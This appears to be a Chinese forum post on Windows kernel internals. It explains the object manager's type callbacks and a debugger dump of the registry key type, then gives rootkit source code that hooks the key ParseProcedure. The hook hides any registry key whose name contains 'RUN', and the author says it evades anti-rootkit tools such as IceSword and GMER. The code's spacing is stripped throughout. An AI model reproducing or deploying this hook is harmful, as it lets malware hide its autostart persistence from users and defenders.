来看ObOpenObjectByName,它会调用ObpLookupObjectByName来打开一个对象。
对象头(object_header)有一个object type结构,object type结构里有一个TypeInfo,结构是OBJECT_TYPE_INITIALIZER
typedefstruct_OBJECT_TYPE_INITIALIZER{
USHORTLength;
BOOLEANUseDefaultObject;
BOOLEANCaseInsensitive;
ULONGInvalidAttributes;
GENERIC_MAPPINGGenericMapping;
ULONGValidAccessMask;
BOOLEANSecurityRequired;
BOOLEANMaintainHandleCount;
BOOLEANMaintainTypeList;
POOL_TYPEPoolType;
ULONGDefaultPagedPoolCharge;
ULONGDefaultNonPagedPoolCharge;
PVOIDDumpProcedure;
PVOIDOpenProcedure;
PVOIDCloseProcedure;
PVOIDDeleteProcedure;
PVOIDParseProcedure;
PVOIDSecurityProcedure;
PVOIDQueryNameProcedure;
PVOIDOkayToCloseProcedure;
}OBJECT_TYPE_INITIALIZER,*POBJECT_TYPE_INITIALIZER;
OBJECT_TYPE_INITIALIZER 结构中一个指针ParseProcedure就是用来实现这类对象的打开的
OBJECT_TYPE_INITIALIZER 中类似的有:
DumpProcedure;OpenProcedure;CloseProcedure;DeleteProcedure;ParseProcedure;SecurityProcedure;QueryNameProcedure;OkayToCloseProcedure;
分别对应着对象的删除、lookup、获取名字等的例程,一般对象不是所有的routine都有。
这些都是在ObCreateObjectType(系统启动时)填充的。
例如KeyObject的TypeInfo:
lkd>dt_OBJECT_TYPE_INITIALIZER839b25e0+60
+0x000Length:0x4c
+0x002UseDefaultObject:0x1''
+0x003CaseInsensitive:0''
+0x004InvalidAttributes:0x30
+0x008GenericMapping:_GENERIC_MAPPING
+0x018ValidAccessMask:0x1f003f
+0x01cSecurityRequired:0x1''
+0x01dMaintainHandleCount:0''
+0x01eMaintainTypeList:0x1''
+0x020PoolType:1(PagedPool)
+0x024DefaultPagedPoolCharge:0x74
+0x028DefaultNonPagedPoolCharge:0
+0x02cDumpProcedure:(null)
+0x030OpenProcedure:(null)
+0x034CloseProcedure:0x8062cedcnt!CmpCloseKeyObject+0
+0x038DeleteProcedure:0x8062cdc2nt!CmpDeleteKeyObject+0
+0x03cParseProcedure:0x806250c2nt!CmpParseKey+0
+0x040SecurityProcedure:0x8062cc24nt!CmpSecurityMethod+0
+0x044QueryNameProcedure:0x8062be7ent!CmpQueryKeyName+0
+0x048OkayToCloseProcedure:(null)
那么很简单了,我们只要HOOK这些函数例程就可以了。
例如hook ParseProcedure,那么可以令得无法打开特定的Object
这些函数例程的原始例程是比较难搜索到的,结合多段跳,可以很容易地让反rootkit工具检查不到这种HOOK。
HOOK了之后,冰刃(蹦出“无法打开”)和GMER都无法打开目标的注册表键,当然uty的那个新的反ROOTKIT工具也是不行~(直接解析注册表的例如DarkSpy则可以)
以下是很老的一个RK里的代码,用于进行这个处理,小改了一下:
PVOIDOldParseKey;
//安装HOOK
voidInstallAdvRegHook()
{
UNICODE_STRINGRegPath;
OBJECT_ATTRIBUTESoba;
HANDLERegKeyHandle;
NTSTATUSstatus;
PVOIDKeyObject;
PMYOBJECT_TYPECmpKeyObjectType;
RtlInitUnicodeString(&RegPath,L"RegistryMachineSystem");
InitializeObjectAttributes(&oba,
&RegPath,
OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE,
0,
0);
RegKeyHandle=0;
status=ZwOpenKey(&RegKeyHandle,KEY_QUERY_VALUE,&oba);
if(!NT_SUCCESS(status))
{
KDMSG(("openthesystemkeyfailed!
"));
return;
}
//首先随便打开一个注册表键,得到对象
status=ObReferenceObjectByHandle(RegKeyHandle,
GENERIC_READ,
NULL,
KernelMode,
&KeyObject,
0);
if(!NT_SUCCESS(status))
{
KDMSG(("referencethekeyobjectfailed!
"));
ZwClose(RegKeyHandle);
return;
}
__asm
{
pusheax
moveax,KeyObject
moveax,[eax-0x10]
movCmpKeyObjectType,eax
popeax
}
KDMSG(("keyobjecttype:%08x
",CmpKeyObjectType));
//getthekeyobjecttype
//获得注册表键对象类型,即CmpKeyObjectType
OldParseKey=CmpKeyObjectType->TypeInfo.ParseProcedure;
KDMSG(("keyparseProcedureroutine:%08x
",OldParseKey));
if(!MmIsAddressValid(OldParseKey))
{
ObDereferenceObject(KeyObject);
ZwClose(RegKeyHandle);
return;
}
//保存原始的ParseProcedure
CmpKeyObjectType->TypeInfo.ParseProcedure=(ULONG)FakeParseKey;
//进行HOOK
ObDereferenceObject(KeyObject);
ZwClose(RegKeyHandle);
return;
}
//HOOK函数
NTSTATUSFakeParseKey(POBJECT_DIRECTORYRootDirectory,
POBJECT_TYPEObjectType,
PACCESS_STATEAccessState,
KPROCESSOR_MODEAccessCheckMode,
ULONGAttributes,
PUNICODE_STRINGObjectName,
PUNICODE_STRINGRemainingName,
PVOIDParseContext,
PSECURITY_QUALITY_OF_SERVICESecurityQos,
PVOID*Object)
{
NTSTATUSstat;
WCHARName[300];
RtlCopyMemory(Name,ObjectName->Buffer,ObjectName->MaximumLength);
_wcsupr(Name);
if(wcsstr(Name,L"RUN"))
{
//检查是不是要保护的注册表键
returnSTATUS_OBJECT_NAME_NOT_FOUND;
}
__asm
{
pusheax
pushObject
pushSecurityQos
pushParseContext
pushRemainingName
pushObjectName
pushAttributes
movzxeax,AccessCheckMode
pusheax
pushAccessState
pushObjectType
pushRootDirectory
callOldParseKey
movstat,eax
popeax
}
returnstat;
}